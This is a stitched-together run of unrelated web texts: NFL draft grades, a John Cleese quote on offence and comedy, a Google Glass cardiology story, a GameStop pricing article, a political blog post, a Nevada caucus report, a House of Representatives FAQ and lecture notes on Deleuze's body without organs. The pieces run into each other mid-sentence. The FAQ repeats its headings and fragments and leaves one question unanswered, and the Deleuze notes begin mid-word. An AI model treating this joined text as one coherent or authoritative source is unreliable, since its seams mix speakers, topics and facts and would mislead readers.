The best decision makers in pro football are willing to take calculated gambles to upgrade their teams. Thus, it is not a surprise the Rams expended a top pick on Robert Quinn despite a suspension that kept him from finishing his career at North Carolina. The gamble has paid off handsomely for the Rams, with Quinn blossoming into a legitimate Defensive Player of the Year candidate. The Rams didn't fare as well with some of their other picks, but added a number of contributors (Austin Pettis and Lance Kendricks) that have helped the team get back on track.
Best pick: Robert Quinn, DE (Round 1, 14th overall)
The Rams took a chance on Quinn despite his inability to play his final season at North Carolina. The gamble was a success, with Quinn notching 34.5 sacks in three seasons -- including 19 sacks in 2013. Additionally, he has eight forced fumbles and a host of splash plays that suggest he could be the NFL's next great pass rusher off the edge.
Worst pick: Greg Salas, WR (Round 4, 112th overall)
The Rams hoped Salas would upgrade the receiving corps with his precise route-running skills and strong hands, but the former Hawaii standout didn't impress in St. Louis. He spent a year with the squad, but has since floated around the league as a backup receiver.
Value pick: Austin Pettis, WR (Round 3, 78th overall)
Pettis has developed into a quality backup receiver for the Rams. He is a dependable pass catcher capable of lining up at any position on the perimeter. That doesn't seem like a big deal, but having a versatile receiver on the roster makes life easier for the team on game day when injuries are always a factor.
Grade: C+
Tampa Bay Buccaneers
The Buccaneers have struggled stringing together strong drafts in succession. Although the team has certainly accumulated some talent on the roster, the holes at defensive end have remained a sore spot for a franchise that won a Super Bowl title on the strength of a ferocious defense and pass rush. In 2011, the Buccaneers attempted to address the void with Adrian Clayborn and Da'Quan Bowers to no avail. While Clayborn has been steady, the team has gotten nothing from Bowers. Mason Foster helped upgrade the defense between the tackles, but his production couldn't mask the woes of a defense that needed some more juice at the point of attack.
Best pick: Mason Foster, MLB (Round 3, 84th overall)
Foster has capably manned the middle of the defense, exhibiting exceptional instincts and awareness. He is a tackling machine with a hard-nosed personality and a knack for disruption. More important, Mason is a natural leader who is comfortable rallying the troops on game day.
Worst pick: Da'Quan Bowers, DE (Round 2, 51st overall)
It goes without saying that Bowers has been a major disappointment for the Buccaneers. He was expected to provide a pass-rushing presence off the edge, but only has 5.5 sacks in three seasons. Additionally, he has battled through knee injuries that threaten to derail his chances of making a strong contribution in 2014.
Value pick: Adrian Clayborn, DE (Round 1, 20th overall)
Clayborn has been as good as advertised as a high-motor rusher off the edge. He outworks blockers at the point of attack and has a feel for getting to the quarterback in one-on-one situations. With 13 sacks in 45 starts, Clayborn has been a productive base end in the Buccaneers' previous scheme.
Grade: C
Tennessee Titans
The performance of a top-ranked quarterback typically overshadows draft evaluations, but the Titans' overall class is so solid that's hard to ding them severely for Jake Locker's injury woes. However, it is important to note that Locker was considered a reach as the eighth overall pick, which is why the Titans must get a return on their investment in 2014. Jurrell Casey, Colin McCarthy and Karl Klug have been steady players on defense, with Casey taking his game to another level last season. Given the collective production of the crew, the Titans scored a modest win on draft night in 2011.
Best pick: Jurrell Casey, DT (Round 3, 77th overall)
Casey enjoyed a breakout season in 2013, exhibiting the speed, quickness and power as an interior pass rusher. Additionally, he is a high-motor player who wears down opponents with his relentless energy and effort. Given his production (16 career sacks, 10.5 in 2013) against his draft status, the Titans have to be pleased with his development as a key contributor.
Worst pick: Jake Locker, QB (Round 1, 8th overall)
Injuries have kept Locker from assuming control of the offense, so it's a little premature to label him a bust. However, the fourth-year pro must show team officials that he can get it done this year or the Titans could head back to the draft to find a franchise quarterback capable of staying on the field and getting the team over the hump.
Value pick: Colin McCarthy, MLB (Round 4, 109th overall)
McCarthy is the ideal fourth linebacker teams prefer to carry on the roster. He is a standout special-teams player, yet he has the ability to step in and start at middle linebacker.
Grade: B-
Washington Redskins
The Redskins have repeatedly flopped in drafts over the past decade. The team's inability to identify and develop young talent has forced the team to consistently overspend in free agency. While the team has attempted to curb those forays, the 2011 class certainly didn't stop the Redskins from digging into the free-agent bin to address major needs. Of course, Ryan Kerrigan turned out to be a stud as a first-round pick, but the jury is still out on whether Jarvis Jenkins and Leonard Hankerson will emerge as frontline players. Although Mike Shannahan got terrific production from Roy Helu, the team needs more blue-collar workers on the roster to make a move in the NFC East.
Best pick: Ryan Kerrigan, OLB (Round 1, 16th overall)
As a gritty, hard-nosed worker off the edge, Kerrigan relies on his combination of strength, power and initial quickness to overpower blockers on the edge. He is relentless in his approach, which doesn't surprise anyone who studied him throughout his career at Purdue.
Worst pick: Niles Paul, WR/TE (Round 5, 155th overall)
The Redskins attempted to covert Paul into a tight end with limited success. While he is a spectacular athlete for the position, he wasn't a natural fit and showed limitations as a blocker. Thus, he offers little value on early downs and isn't quite dynamic enough to carve out a role as a specialist.
Value pick: Roy Helu, RB (Round 4, 105th overall)
Helu briefly looked like Mike Shanahan's latest find at the running back position when he tallied 640 rushing yards on 151 carries as a rookie, but the emergence of Alfred Morris in 2012 relegated him to backup duty a season ago. Although he didn't provide much production in his role as the No. 2 runner, he is certainly good enough to be a fill-in for Morris down the line.
Grade: C
Follow Bucky Brooks on Twitter @BuckyBrooks.British actor and comedic genius John Cleese shares his thoughts with Big Think about political correctness, criticism, and humor:
I'm offended every day. For example, the British newspapers every day offend me with their laziness, their nastiness, and their inaccuracy, but I'm not going to expect someone to stop that happening; I just simply speak out about it.
Sometimes when people are offended they want — you can just come in and say, "right, stop that" to whoever it is offending them. And, of course, as a former chairman of the BBC one said, "There are some people who I would wish to offend."
And I think there's truth in that too. So the idea that you have to be protected from any kind of uncomfortable emotion is what I absolutely do not subscribe to.
And a fellow who I helped write two books about psychology and psychiatry was a renowned psychiatrist in London called Robin Skynner said something very interesting to me. He said, "If people can't control their own emotions, then they have to start trying to control other people's behavior." And when you're around super-sensitive people, you cannot relax and be spontaneous because you have no idea what's going to upset them next.
And that's why I’ve been warned recently, don’t go to most university campuses because the political correctness has been taken from being a good idea — which is, let’s not be mean particularly to people who are not able to look after themselves very well, that’s a good idea — to the point where any kind of criticism of any individual or group can be labelled cruel.
And the whole point about humor, the whole point about comedy — and believe you me, I’ve thought about it — is that all comedy is critical. Even if you make a very inclusive joke — like, "How do you make God laugh? Tell him your plans" — that’s about the human condition, it’s not excluding anyone, it’s saying we all have all these plans that probably won’t come and isn’t it funny that we still believe they’re going to happen. So that’s a very inclusive joke, but it’s still critical.
All humor is critical. If we start saying, "oh, we mustn’t criticize or offend them," then humor is gone, and with humor goes a sense of proportion, and then, as far as I’m concerned, you’re living in 1984.In the past, fellow GLASS Explorers like Rafael Grossman and Heather Evans have demonstrated how Google GLASS can help doctors obtain important recommendations from other experts via live-streaming.
In a recent sequence of serendipitous events occurring at UAMS, Dr. Eudice Fontenot, Pediatric Interventional Cardiologist from Arkansas Children’s Hospital provided valuable insight to a team of interventional cardiologists (Dr. Barry Uretsky, Dr. Abdul Hakeem and GLASS explorer Dr. Christian Assad-Kottner) who performed a Patent Foramen Ovale (PFO) Closure
PFO closures are usually performed in children and adolescents who have symptoms secondary to significant Right to Left shunts, in non-medical terms, significant non-oxygenated blood mixing with oxygenated blood. On occasion, secondary to anatomical changes in adulthood, a PFO which was not significant can turn into a defect which needs correction. Such was the case we recently encountered. A PFO closure is not something performed frequently in adults, and an even an expert interventional cardiologist could have accumulated 25-50 cases through their career. Even though the procedure could have been done safely by the operator, we decided to contact a pediatric interventional cardiologist, who performs this procedure more frequently.
This is where we saw an opportunity to use of Google GLASS as a way of Livestreaming the procedure to the telementor and obtain his advice in real time. The next step was obvious, before anything, I spoke in detail with the patient (which by the way I will be disclosing his name soon because he wants me to do so as well as his family). I explained to him how we would use GLASS and Hangouts to stream the procedure to an expert who has abundant experience on PFO closures on children, and if needed he could instantly provide his advice. Needless to say, he understood the potential of such a dynamic and was excited to be part of it.
Nov 19 the procedure occurred. We initially had planned to stream the hangout to the tele-mentor at Arkansas Children’s Hospital, but due to heavily leaded walls in the catheterization lab affecting the current data connection, and GLASS being a beta-gadget, we decided to have the expert nearby in case we needed him.
Patient was anesthetized, intubated, and Transesophageal echocardiogram performed to guide the implantation of the Amplatzer closure device. Shortly after, access was obtained with a femoral sheath and the device was inserted and advanced to the left atrium across the PFO. At this point in time, the interventional cardiology team spotted a mobile artifact within the tip of the amplatzer highly suggestive of thrombus. These images were transmitted live to the tele-mentor who agreed on the diagnosis and suggested at this point to retrieve the device to avoid the possibility of a thromboembolic event. When the device was retrieved, we confirmed our suspicion, a thrombus in the tip of the amplatzer was observed. The tele-mentor further guided us on how to flush the sheath and adequately clean the thrombus from the device. At this point in time we decided to end transmission and ask the tele-mentor to come to the cath lab to provide further recommendations. Soon after the device was reinserted, deployed with excellent angiographic, echocardiographic and physiologic results. Procedure was a success and patient was subsequently discharged with adequate arterial oxygen saturation, effectively treating his problem.
After discussion with my colleague and Google GLASS pioneer Rafael Grossman MD, we agreed that this was the first time that the advice given by an expert through Google GLASS directly impacted and helped the decisions made in a medical procedure.
Example of looking at TEE monitor with GLASS to demonstrate quality
Whole story to be released soon via another source, with procedure pictures, names and more details
Twitter: https://twitter.com/Christianassad
AdvertisementsGenerally speaking, hardware manufacturers and games retailers are natural partners, seeking to create order and control in the universe.
The console companies make the machines and the retailers sell the machines and both profit from the sale of games for the machines.
But as the nature of retail shifts, so too does the relationship between the retailers and the hardware companies, a ripple that threatens the harmony tying these powerful forces together.
As the digital era gets into full swing, it's Sony and Microsoft which become the chief beneficiaries, selling games directly to consumers without the need for mall store-fronts or even online retail hubs. The console companies become retailers. This puts them in direct competition with their chums at companies such as GameStop.
And if there is one thing competing retailers are most likely to get antsy about, it's price.
In its investor call yesterday, GameStop president Tony Bartel made a comment that can only be interpreted as a criticism of Sony's and Microsoft's digital retail strategies. "We want to help ensure that our industry does not make the same mistake as other entertainment categories by driving the perceived value of digital goods significantly below that of a physical game," he said, according to Gamasutra.
Both Microsoft and Sony have worked hard to tie consumers into digital subscription plans that come with generous game giveaways and discounts. PlayStation Plus and Xbox Live Gold offer good value to consumers by delivering up digital goods with mostly nominal costs at a low price. They also offer extreme competition to retailers, whose costs are always actual and often onerous.
Retailers are worried about cheap digital games
At this time of year, retailers are looking to sell as many video games as possible to people who are buying or receiving consoles for the first time. This becomes more difficult when consumers are being offered a wide array of hardware bundles, attractively priced, and including top-branded games. Retailers do not make much money from hardware units, and rely on software after-sales to make the exercise worthwhile.
Consumers flush with big-name games bundled in with their consoles, being offered digital discounts beamed directly into their homes, are less likely to buy full-priced games. Consumers who buy digital games are also, of course, not to be seen trading games at GameStop counters, an area which brings in the company's biggest margins.
During its call with investors, GameStop claimed that "$100 million worth of games have been digitally delivered for free in hardware bundles" so far this year. In a retailer's mind, this is all lost profit. Little wonder Bartel is miffed. He put the argument in terms of the overall health of the industry. "What we produce has value, and we should protect that value," he said.
Must Read Polygon's Guide to Black Friday Deals
If Bartel is making these statements during investor calls, you an be certain more direct conversations are going on in Microsoft's, Sony's and GameStop's meeting rooms in Redmond, San Mateo and Grapevine.
Given that GameStop managed to bring in over $2 billion in revenues in its most recent quarter, you might think this is all a touch academic. But the company missed its profits targets. Games retailers are haunted by the terrible specters of the likes of Tower Records and Blockbuster Video, once mighty physical retailers, now absent from the strip malls of America, killed off by price-cutting and digital distribution.
For console companies, retailers must be kept sweet, while they transition themselves into an Apple-like state of sublimation, away from the mundane bonds of physical retail.Until supporters of unconstitutional presidential war powers began commenting on my blog threads. Not one has cited any kind of relevant source. It’s all bare assertion. Then I am expected, after having written two book chapters on this, to disprove their bare assertions. (“Show me where it says the President can’t do this,” says one critic, apparently in all seriousness.) Then it’s a lot of stuff about the impracticality of consulting Congress before our infallible leaders begin bombing. Again, completely irrelevant to the constitutional issue. It’s the usual left-wing line: the Constitution is a dusty old document, it’s impractical today, let’s proceed as if it’s been amended even though it hasn’t, repeated violations amount to an amendment, etc.
A few people have asked why I don’t delete the more abusive comments. In general I delete very abusive comments (why should I deal with ill-mannered jerks on my own site, when they can get their own blogs and be as savage as they like?) but I let merely opposing comments stand. In this case the opposing comments are so off topic, even slightly deranged, that it is a net addition to the cause of the good guys to have them there.Hillary Clinton will win Nevada’s Democratic caucuses, NBC News projects, scoring a much-needed boost in the nomination race and depriving rival Bernie Sanders of a victory in a racially diverse state.
Full coverage of the race for the White House: Decision 2016
The loss is a blow for Sanders, who hoped to use the state’s contest to prove himself as a viable candidate in a state with an electorate made up of more minority voters and fewer self-described liberals than the race’s earlier contests in Iowa and New Hampshire.
To everyone who turned out in every corner of Nevada with determination and heart: This is your win. Thank you. -H — Hillary Clinton (@HillaryClinton) February 20, 2016
Days in advance of the notoriously unpredictable contest Saturday afternoon, the former secretary of state’s team had tried to downplay the significance of the Nevada results amid concerns that Sanders would pull off a win.
But Clinton ultimately gathered a coalition of minority voters, self-identified Democrats and union workers to fuel her victory. She was also boosted by a strong performance in Clark County - home to the city of Las Vegas and the state’s most populous county by far.
Unlike in the race’s earlier primary elections, campaigns and the press were flying relatively blind going into the day’s caucuses, with little reliable polling available for the state’s quirky weekend mid-day caucuses.
The race now turns to South Carolina’s Democratic primary next Saturday, where Clinton has a strong advantage due to her favorability with African-American voters.
This article originally appeared on NBCNews.com.Members Members
1. Who is a Member of Congress? 1. Who is a Member of Congress?
A Member of Congress is a U.S. Representative, who serves in the House of Representatives, or a U.S. Senator, who serves in the Senate. A Member of the House also is called a Congresswoman or Congressman. (Delegates and the Resident Commissioner are nonvoting members of the House.) For lists of current Members of the House, visit the Member Information page.
For lists of current Senators, visit the U.S. Senate website.
2. What are Delegates and the Resident Commissioner? How long do they serve, and what do they do? 2. What are Delegates and the Resident Commissioner? How long do they serve, and what do they do?
The office of Delegate was established by ordinance of the Continental Congress (1774–1789) and confirmed by a law of the U.S. Congress. From the beginning of the Republic, the U.S. House of Representatives has admitted Delegates from territories or districts organized by law. There are currently five Delegates, including one from the District of Columbia, and one from each of the following territories: American Samoa
Guam
The Commonwealth of the Northern Mariana Islands
The Virgin Islands. Congress created the post of Resident Commissioner in 1900 to apply to Puerto Rico. Congress granted a Resident Commissioner to the Philippines several years later. Since 1946, when the Philippines became independent, only Puerto Rico has had a Resident Commissioner. Delegates and Representatives serve a two-year term, and the Resident Commissioner serves a four-year term. In most respects, Delegates and the Resident Commissioner have most of the authority that Members have. On the House Floor, they can speak, introduce bills, and offer amendments. They can serve on House Committees and possess most of the authority that other Committee members have. Delegates and the Resident Commissioner also may offer amendments while the House is conducting business as the Committee of the Whole House on the state of the Union. However, unlike Members, they may not vote while the House is conducting business as the Committee of the Whole or vote on the final passage of legislation when the House is meeting. For current lists of the Members, Delegates, and Resident Commissioner, visit the Member Information page.
3. Do Members take an Oath of Office when they enter the House? 3. Do Members take an Oath of Office when they enter the House?
Article VI of the U.S. Constitution requires that Members of the U.S. Congress be bound by oath or affirmation to support the Constitution. Members-elect of the U.S. House of Representatives typically take the Oath of Office on the House Floor on the first day of a new Congress, immediately after the Speaker of the House has been elected and sworn in. The Speaker administers this oath: “I, (name of Member), do solemnly swear (or affirm) that I will support and defend the Constitution of the United States against all enemies, foreign and domestic; that I will bear true faith and allegiance to the same; that I take this obligation freely, without any mental reservation or purpose of evasion; and that I will well and faithfully discharge the duties of the office on which I am about to enter. So help me God” (5 U.S.C. §3331). If elected in special elections during the course of a Congress, Representatives, Delegates, and the Resident Commissioner generally take the Oath on the Floor, once the Clerk of the House has received a certificate of election from the appropriate election commission. On rare occasions, because of illness or other such circumstances, a Member-elect has been authorized to take the Oath at a location other than the House, and the Speaker’s designee administers the Oath. For information on Members who have taken the Oath of Office, visit the Member Information page.
4. What are the requirements for becoming a Member of the House? 4. What are the requirements for becoming a Member of the House?
Article I, Section 2 of the U.S. Constitution states: "No Person shall be a Representative who shall not have attained to the Age of twenty five Years, and been seven Years a Citizen of the United States, and who shall not, when elected, be an Inhabitant of that State in which he shall be chosen." These requirements cannot be changed without a constitutional amendment.
5. When are House elections held? 5.
General elections for the U.S. House of Representatives are held on the Tuesday after the first Monday in November, in even-numbered years.
For election results and resources, visit the Election Information page.
6. How are Representatives, Delegates, and the Resident Commissioner nominated and elected? 6. How are Representatives, Delegates, and the Resident Commissioner nominated and elected?
In most states, territories, and the District of Columbia, candidates for the U.S. House of Representatives who are members of major political parties are nominated in a primary election. Some states also provide for a party convention to nominate candidates or to endorse candidates before a primary. In many states, no primary election is held for a particular office if a candidate is unopposed. Minor-party candidates are nominated according to individual party rules and procedures, while Independent candidates are nominated by self-declaration. States automatically place major-party candidates on the primary ballot. Minor-party and Independent candidates must meet state-specific requirements—such as submitting a petition with the signatures of registered voters—to be placed on the ballot. House Members are elected by plurality vote (the largest number of votes received) in the congressional district in which they are candidates. Special cases include: Alabama, Arkansas, Georgia, Mississippi, North Carolina, Oklahoma, South Carolina, and Texas, which require that a candidate receive a majority (more than half) of popular votes to be nominated. In these states, a runoff primary election between the top two candidates is held if no candidate receives a majority in the first primary.
which require that a candidate receive a majority (more than half) of popular votes to be nominated. In these states, a runoff primary election between the top two candidates is held if no candidate receives a majority in the first primary. Louisiana, which requires that all candidates compete in an “open primary,” an all-party primary election. The candidate who wins the majority (more than half) of the votes is declared elected. The election is held on general election day (the first Tuesday after the first Monday in November). If necessary, a runoff election between the top two finishers will follow several weeks later. For election results and resources, visit the Election Information page.
7. What is the size of the House Membership, and how is it determined? 7. What is the size of the House Membership, and how is it determined?
8. How many Representatives does each state have in the House?
8. How many Representatives does each state have in the House?
Under Article I, Section 2 of the U.S. Constitution, each state, territory, or district is entitled to at least one representative. Additional seats are apportioned based on population. The U.S. Congress fixes the size of the U.S. House of Representatives and the procedure of apportioning the number of Representatives among the states. State legislatures pass laws that determine the physical boundaries of congressional districts, within certain constraints established by Congress and the U.S. Supreme Court (through reapportionment and redistricting rulings). The number of Members for each state is apportioned according to the results of the decennial census conducted by the U.S. Department of Commerce’s U.S. Census Bureau. For more information on current congressional districts, visit the Congressional District Profiles page on the U.S. Census Bureau's website.
9. Where are the Members’, Delegates’, and Resident Commissioner’s offices? 9. Where are the Members’, Delegates’, and Resident Commissioner’s offices?
Member offices are located in Washington, DC, in the Cannon, Longworth, and Rayburn House office buildings south of the U.S. Capitol, along Independence Avenue. In addition, House Committee offices and support services are located in the buildings and the Ford House Office Building. House leadership offices are located in the House wing of the Capitol. Visit the Architect of the Capitol website for more information on the location and history of the House office buildings. For specific Member contact information, visit the Member Information page. Members, Delegates, and the Resident Commissioner also maintain offices in their states, territories, and districts. For a list of district office websites, visit the House website. For information on historic room assignments in House office buildings, visit the History, Art & Archives website.
10. Do Members of the House have assigned seating in the House Chamber? 10. Do Members of the House have assigned seating in the House Chamber?
Assigned seating for Members was abolished during the 63rd Congress, in 1913. Today, Members may sit where they please. Generally, Democrats occupy the east side of the Chamber to the right of the Speaker of the House, and Republicans sit across the aisle on the Speaker's left. The tables on either side of the aisle are reserved for party leaders and for Committee leaders during debate on bills their Committees bring to the House Floor. For information on the locations of historic desks in the Old House Chamber, visit the History, Art & Archives website.
11. How is a vacancy filled in the event of a House Member’s death, resignation, declination (refusal to serve), or expulsion? 11. How is a vacancy filled in the event of a House Member’s death, resignation, declination (refusal to serve), or expulsion?
Article I, Section 2, Clause 4 of the U.S. Constitution requires that all vacancies in the U.S. House of Representatives be filled by election. During the first session of a Congress, all states, territories, and districts require special elections to fill any vacant House seats.
, all states, territories, and districts require special elections to fill any vacant House seats. During the second session of a Congress, procedures governing vacancies that have occurred during the session differ depending on the state, territory, or district and are largely dependent on the amount of time between the vacancy and the next general election. View the list of current congressional vacancies and vacancies listed in overviews of previous Congresses.
12. What is meant by “Member at Large”? 12. What is meant by “Member at Large”?
A Member at Large is a Representative, Delegate, or Resident Commissioner of the U.S. House of Representatives who has been elected by the voters of a state, district, or territory—not by the voters from a specific congressional district. The U.S. Congress enacted a law in 1967 that prohibits states with more than one Representative from holding Member at Large elections (2 U.S.C. §2c). For information on current Members’ “at Large” and district designations, view the following official lists on the Member Information page: “Official Alphabetical List of Members”
“Official List of Members by State”
“Official Member Telephone Directory.”
13. What is the proper way to address a letter to a Member of the House?
13. What is the proper way to address a letter to a Member of the House?
Acceptable forms of address for Members of the U.S. House of Representatives include “the Honorable” and “Representative.” Address correspondence according to the following samples: The Honorable J.Q. Smith
U.S. House of Representatives
123 Cannon House Office Building
Washington, DC 20515
or
Representative J.Q. Smith
U.S. House of Representatives
123 Cannon House Office Building
Washington, DC 20515 For information on how to contact Members, visit the Member Information page.
14. How much are House Members paid? 14. How much are House Members paid?
For current and historical information on Members’ salaries, visit the Congressional Research Service website.
15. How many women are serving in Congress? 15. How many women are serving in Congress?
For the number of women currently serving in the U.S. Congress–and other information about women in Congress–visit the History, Art & Archives website
16. How many Members of the House are in each party? 16. How many Members of the House are in each party?
For data on the party divisions in the U.S. House of Representatives and U.S. Senate, visit the Congressional Profile page.
House Leadership & Officers
1. What is the role of the Speaker of the House? Who has served as Speaker? 1. What is the role of the Speaker of the House? Who has served as Speaker?
The Speaker of the U.S. House of Representatives customarily has the following roles: Institutional, as presiding officer and administrative head of the House
Representative, as an elected Member of the House
Party leader, as leader of the majority party in the House. By statute, the Speaker is second in line, after the Vice President of the United States, to succeed the President (3 U.S.C. §19). View the list of the Speakers of the House, 1789–present. For more information on the current Speaker, visit the Speaker’s website.
2. How is the Speaker of the House elected? 2. How is the Speaker of the House elected?
Article I, Section 2 of the U.S. Constitution states, "The House of Representatives shall choose their Speaker and other Officers." Although the Constitution does not require the Speaker to be a Member of the House, all Speakers have been Members. When a Congress convenes for the first time, each major party conference or caucus nominates a candidate for Speaker. Members customarily elect the Speaker by roll call vote. A Member usually votes for the candidate from his or her own party conference or caucus but can vote for anyone, whether that person has been nominated or not. To be elected, a candidate must receive an absolute majority of the votes cast—which may be less than a majority of the full House because of vacancies, absentee Members, or Members who vote "present." If no candidate receives the majority of votes, the roll call is repeated until a majority is reached and the Speaker is elected. View historical facts about Speakers of the House. For more information on the current Speaker, visit the Speaker’s website.
3. What are the duties of the Speaker of the House? 3. What are the duties of the Speaker of the House?
The Speaker of the U.S. House of Representatives: Presides over the House
Administers the Oath of Office to House Members
Communicates with the President of the United States and the U.S. Senate
Leads his or her party conference or caucus
Chairs his or her party’s steering committee, which is involved in the selection of party members for standing committees
Nominates chairs and members of the Committee on Rules and the Committee on House Administration. The Speaker also appoints: Speakers pro tempore
The chair who presides over the Committee of the Whole House on the state of the Union
Members to House-Senate conference committees
A Member to the Committee on the Budget
Select committees
Certain House staff The Speaker recognizes Members to speak on the House |
taud had been confined in an asylum for a decade, away from Paris, diagnosed as a schizophrenic, and had suffered a great deal. He was treated with a behaviour-shaping regime including ECT, severe diets, and deprivation of social contacts. He was finally rescued after a campaign by Parisian intellectuals and others, but had clearly suffered: he was in ill health, a drug addict, and had lost all his teeth. He was regarded as a bit of a martyr, and there are two long documentaries available on YouTube telling his story. (refs at the end He wrote a play outlining his personal philosophy and defending himself against charges that he was mad. The title of the play was To Have Done With the Judgement of God – the origin of the terminology in Deleuze and Guattari. It included scurrilous mockery of the catholic church, made all sorts of allegations about Americans, and advocated drug taking. It was due to be broadcast on French radio on November 28, 1947, says Brian Holmes (2009) but was banned: alert readers will see that that date appears under the main title of Plateau 6 on BwO. The play was not broadcast, but it probably circulated among the intellectual underground. It finally surfaced in the form of a heroic reading of the transcript in English on YouTube (Vaughan-Johnstone, nd), and finally, the whole thing became available on the web [see Surrealism-Plays, nd). It is a very strange piece, and you can read it yourselves. The bit about body without organs occurs right at the end:
Man is sick because he is badly constructed. We must make up our minds to strip him bare in order to scrape off that animalcule that itches him mortally, god, and with god his organs. For you can tie me up if you wish, but there is nothing more useless than an organ. When you will have made him a body without organs, then you will have delivered him from all his automatic reactions and restored him to his true freedom. They you will teach him again to dance wrong side out as in the frenzy of dance halls and this wrong side out will be his real place.
OK we have done the main thrust of the argument I think, except for Spinoza. He crops up elsewhere as we have said, and here is he being rendered as offering 'the great book of the BwO'. Spinoza drew attention to bodies long before Bourdieu or Foucault. He argued that an action in the mind is necessarily an action in the body, or a passion in the body is necessarily a passion in the mind...that consciousness is actually an illusion, which merely registers effects. We have hinted at this in the earleri video s when discussing affects. In general, Spinoza, according to Deleuze (1988) is famous for the idea that there is a single substance with an infinite number of attributes, uniting God and nature. This denies the transcendental God, and implies a number of ‘practical theses that made Spinozism an object of scandal’ (17). Roughly, existing things are just modes of the attributes of universal substance. Modes represent degrees of power to affect and to be affected, which they get from their origins in 'universal substance', so to speak. I don't know if this is helpful or not. I think it means that the BwO is something like the universal substance, and specific organisms, or organisations of its organs, are modes. In other words, we have two levels of reality again, an actual and a virtual. This is seen perhaps in philosophical asides throughout ATP Plateau 6: [The BwO is] a distribution of intensities in a spatium [something which is intensive itself], and not space...non-formed, non-extensive matter, 'intense matter', something where 'intensity = 0", and zero is not to be taken as negative, simply as a sign that there is no energy at work except that which matter itself possesses. (169)...the full egg before the extension of the organism and the organization of the organs', before the formation of the strata' (170 ) This notion of the egg, full of potential and as yet not fully formed into separate organs and conventional bodies also appears in AO, linked to the specific paranoid and highly detailed fantasies of Schreber: The body without organs is like the cosmic egg, the giant molecule swarming with worms, bacilli, Lilliputian figures, animalcules, and homunculi, with their organization and their machines, minute strings, ropes, teeth, fingernails, levers and pulleys, catapults: thus in Schreber the millions of spermatazoids in the sunbeams, or the souls that lead a brief existence as little men on his body....The socius [existing social system] is not a projection of the body without organs; rather, the body without organs is the limit of the socius, its tangent of deterritorialization, the ultimate residue of a deterritorialized socius. The socius—the earth, the body of the despot, capital-money—are clothed full bodies, just as the body without organs is a naked full body; but the latter exists at the limit, at the end, not at the origin. (281) That is, existing societies are not the natural production of the creative potential of human bodies, but stratified, 'filled' and 'clothed' versions of it. If we can work back from these added forms of organization we can get to the BwO, as we will see in a minute. There are several more asides but I will leave you to find them. Two final implications remain, divided rather artificially into political and philosophical – as you will see, both are connected: 1. Political. We are in a social formation and need to see how it is stratified. Then we can trace the strata back to the deeper assemblage. Then 'tip the assemblage' towards the plane of consistency [that is treat it as a plateau, to see how it connects at the virtual level]. This reveals the BwO as a connection of desires, flows and continuum of intensities. This will provide each of us with 'your own little machine, ready when needed to be plugged into other collective machines' (179). BwO is therefore a place and the plane of consistency, a collectivity -'my' body is a location on it, 'what remains of me, unalterable and changing in form, crossing thresholds'. However, we have to be very careful before abandoning conventional bodies altogether in radical experiments, and D&G get rather conventional here: We have to keep enough of our organism to carry on with every day life and enough signifiance and subjectification if only to be able to criticize them as systems, 'to respond to the dominant reality'(178). We can'mimic the strata'. We should beware excessive destratifying which will lead to 'empty and dreary bodies' [the catatonic drug addict, the seriously ill schizophrenic, or, in terms of the body politic, the absence of democratic bodies in fascist dictatorships]. Patience is required, a temporary dismantling of the organs. It is easy to 'botch' it, failing to produce it, or producing it as something empty. Heading towards the plane of consistency and experimentation will end in death, a black hole or catastrophe unless you take precautions. Better to stay stratified rather than provoke an even heavier stratification. Hence 'lodge yourself on a stratum, experiment with the opportunities it offers, find an advantageous place on it, find potential movements of deterritorialization, possible lines of flight, experience them, produce flow, conjunctions here and there... [but] have a small plot of new land at all times'. We need a'meticulous relation with the strata'. [In short we need philosophy to 'connect, conjugate, continue: [produce] a whole"diagram"as opposed to still signifying and subjective programmes'. Philosophy is the safest way to experiment. And finally general philosophical implications How does the BwO (and the haecceity as well) relate to the whole of virtual reality, or rather what we can understand of it, the 'plane of consistency'? We find a bit of indecision here, a problem yet to be solved – eg:...masochism, Tao and courtly love are [not] interchangeable, but they are locations on a field of immanence or plane of consistency, which we must construct [by philosophizing, of course]. This runs through different social formations and assemblages and shows itself in different types of BwO. 'The plane of consistency would be the totality of all BwOs, or pure multiplicity of immanence, one piece of which may be Chinese, another American, another medieval, another petty perverse, but all in a movement of generalized deterritorialization in which each person [sic] takes or makes what she or he can, according to tastes she or he will have succeeded in abstracting from a Self... According to a politics of strategy successfully abstracted from a given formation' [sounds a bit like Foucault on strategy here]. (174)
But later...So the plane of consistency is not the sum of BwOs, but rather the sum of elements that have been selected, full and creative BwOs, leaving out cancerous or empty bodies. Is this just a logical construction, or does each BwO actually produce effects which are 'identical or analogous to' those of others? If so, we might be able to get the same effects from drug use or masochism from other BwOs, like 'being soused on pure water' as in an experiment by Henry Miller. Or perhaps there is a real exchange of substances, an intensive continuum of substance. 'Doubtless, anything is possible' (184). [Guattari doesn't really care, if this is indeed him -- it is therapy and politics that attracts him]. In any case, we need 'an abstract machine capable of covering and even creating [the plane of consistency],... assemblages capable of plugging into desire' which will ensure there are connections and pursue 'transversal tie-ins'. If we don't do this, all the BwOs will remain separated from each other marginalised, and cancerous and emptied doubles 'will triumph'. We still haven't covered all the examples – there are more in the books on Proust, Kafka and in Deleuze's The Logic of Sense. You will h ave to read this for yourselves – I've given page numbers for relevant sections in the refer e nces. The idea is that you can achieve a BwO by developing a particular writing technique -- a machine that does not write about the normal bodily sensations and emotions or from normal subjective positions. Both Kafka and Proust manage to do this, after normal subjective writing. Bogue's book is really good on this.I also have notes on a useful article by Buchanan on the BwO.
Deleuze had an early interest in cinema as also offering a chance to develop non-human'machinic 'perspectives through cameras and sound recording equipment, and the books (especially Cinema 2) show how modern film-makers detach from the normal'sensori-motor' perspectives of conventional human subjects.
STOP PRESS: I have also discovered a bit on the BwO in the paintings by Bacon: Deleuze, G. ( 2005) Francis Bacon. Trans. Daniel Smith.London: Bloomsbury Press, pp. 34--6.
References Althusser, L. "Ideology and Ideological State Apparatuses (Notes Towards an Investigation)" in Althusser L (1977) 'Lenin and Philosophy' and Other Essays, London, New Left Books. My notes: http://www.arasite.org/nalt2.htm
